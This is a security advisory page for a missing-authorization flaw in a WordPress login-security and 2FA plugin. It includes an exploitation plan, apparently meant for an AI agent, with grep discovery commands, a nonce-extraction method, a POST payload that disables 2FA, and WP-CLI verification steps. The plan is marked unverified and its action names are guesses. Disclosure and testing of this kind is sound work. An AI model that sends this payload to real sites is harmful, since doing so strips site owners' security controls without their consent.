CVE-2026-25471

Admin Safety Guard — Login Security & 2FA <= 1.2.6 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Admin Safety Guard — Login Security & 2FA plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.2.6. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2.6
PublishedMarch 16, 2026
Last updatedMarch 27, 2026
Affected pluginadmin-safety-guard
Research Plan
Unverified

This exploitation research plan target CVE-2026-25471 in the **Admin Safety Guard — Login Security & 2FA** plugin. The vulnerability is a "Missing Authorization" flaw, which typically means an administrative function is exposed via a `wp_ajax_nopriv_` hook or a REST API route without a `current_user…

Show full research plan

This exploitation research plan target CVE-2026-25471 in the Admin Safety Guard — Login Security & 2FA plugin. The vulnerability is a "Missing Authorization" flaw, which typically means an administrative function is exposed via a wp_ajax_nopriv_ hook or a REST API route without a current_user_can() check.


1. Vulnerability Summary

The Admin Safety Guard plugin (up to version 1.2.6) registers one or more AJAX handlers or REST API endpoints that perform sensitive administrative actions (e.g., modifying security settings, clearing logs, or whitelisting IPs). Because these handlers are registered for unauthenticated users (wp_ajax_nopriv_) and fail to verify the caller's capabilities, an unauthenticated attacker can manipulate the plugin's security configurations.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: Likely asg_save_settings, asg_clear_logs, or asg_update_whitelist (inferred; agent must verify via grep).
  • Authentication: None (Unauthenticated).
  • Vulnerable Parameter: Likely a settings array or individual configuration keys passed via $_POST.
  • Preconditions: The plugin must be active.

3. Code Flow (Inferred)

  1. Registration: The plugin uses add_action( 'wp_ajax_nopriv_VULNERABLE_ACTION', 'callback_function' ).
  2. Entry Point: An unauthenticated HTTP POST request is sent to admin-ajax.php?action=VULNERABLE_ACTION.
  3. Missing Check: The callback_function calls check_ajax_referer() (verifying the nonce) but fails to call current_user_can( 'manage_options' ).
  4. Sink: The function proceeds to call update_option() or global $wpdb; $wpdb->query(...) to modify plugin state.

4. Nonce Acquisition Strategy

Missing Authorization vulnerabilities often still require a valid Nonce for CSRF protection. To exploit this as an unauthenticated user, we must find where the plugin leaks the nonce to the frontend.

  1. Identify the Script/Variable: Search for wp_localize_script in the plugin code to find the JS object containing the nonce.
    • Search command: grep -rn "wp_localize_script" .
  2. Determine the Triggering Content: Identify if the script is enqueued on the homepage or requires a specific shortcode.
    • Search command: grep -rn "add_shortcode" .
  3. Extraction Steps:
    • Step A: Create a page with the identified shortcode (if necessary):
      wp post create --post_type=page --post_status=publish --post_content='[shortcode_found]'
    • Step B: Use browser_navigate to view the page.
    • Step C: Use browser_eval to extract the nonce.
      • Example Variable (verify in source): window.asg_vars?.nonce or window.asg_ajax_object?.security.

5. Exploitation Strategy

Once the action name and nonce are identified, follow these steps:

  1. Discovery: Run the following to find the specific vulnerable action:

    grep -r "wp_ajax_nopriv_" .
    

    Examine the callback functions. Look for those that update options but lack current_user_can.

  2. Target Action (Example: asg_save_settings):
    If the function is asg_save_settings_callback, look at the $_POST parameters it expects (e.g., settings_data).

  3. HTTP Request via http_request:

    // Example Payload to disable a security feature (e.g., 2FA)
    {
      "method": "POST",
      "url": "http://localhost:8080/wp-admin/admin-ajax.php",
      "headers": {
        "Content-Type": "application/x-www-form-urlencoded"
      },
      "body": "action=asg_save_settings&security=EXTRACTED_NONCE&asg_options[enable_2fa]=0"
    }
    

6. Test Data Setup

  1. Install Plugin: Ensure admin-safety-guard v1.2.6 is installed.
  2. Configure Settings: Use WP-CLI to enable a security setting that you intend to disable via the exploit:
    wp option update asg_settings '{"enable_2fa":"1", "whitelist_ip":""}' --format=json
  3. Create Nonce Source: If the nonce is only on specific pages, create that page:
    wp post create --post_type=page --post_title="Security" --post_status=publish --post_content='[asg_login_form]' (Example shortcode).

7. Expected Results

  • Response: The server should return a 200 OK or a JSON success message (e.g., {"success":true}).
  • State Change: The targeted WordPress option (e.g., asg_settings) is updated in the database, effectively disabling security controls.

8. Verification Steps

After the http_request, verify the change via WP-CLI:

# Check if the setting was modified
wp option get asg_settings --format=json

If the exploit was to whitelist an IP, check the specific option or database table:

wp db query "SELECT * FROM wp_options WHERE option_name = 'asg_whitelist'"

9. Alternative Approaches

  • REST API: If no AJAX handlers are found, search for register_rest_route. Look for routes where permission_callback is set to __return_true or is missing.
    • Search command: grep -rn "register_rest_route" . -A 5
  • Direct Option Update: Some plugins use admin_init hooks that don't check for AJAX/REST context. Check for functions hooked to admin_init that process $_POST directly.
    • Search command: grep -rn "add_action.*admin_init" . (Note: admin_init also runs on admin-ajax.php).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Admin Safety Guard — Login Security & 2FA plugin for WordPress is vulnerable to unauthorized access because it registers administrative AJAX actions for unauthenticated users without performing capability checks. This allows unauthenticated attackers to modify security configurations, such as disabling Two-Factor Authentication or clearing security logs.

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker first obtains a valid AJAX nonce by inspecting the frontend of the site, where the plugin localizes script variables (e.g., in a JS object like asg_vars). Using this nonce, the attacker sends a POST request to /wp-admin/admin-ajax.php with an action parameter corresponding to an administrative function (such as asg_save_settings) and parameters intended to overwrite security options. Because the plugin uses wp_ajax_nopriv_ hooks and lacks current_user_can() checks in the callback functions, the request is processed despite the lack of authentication.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.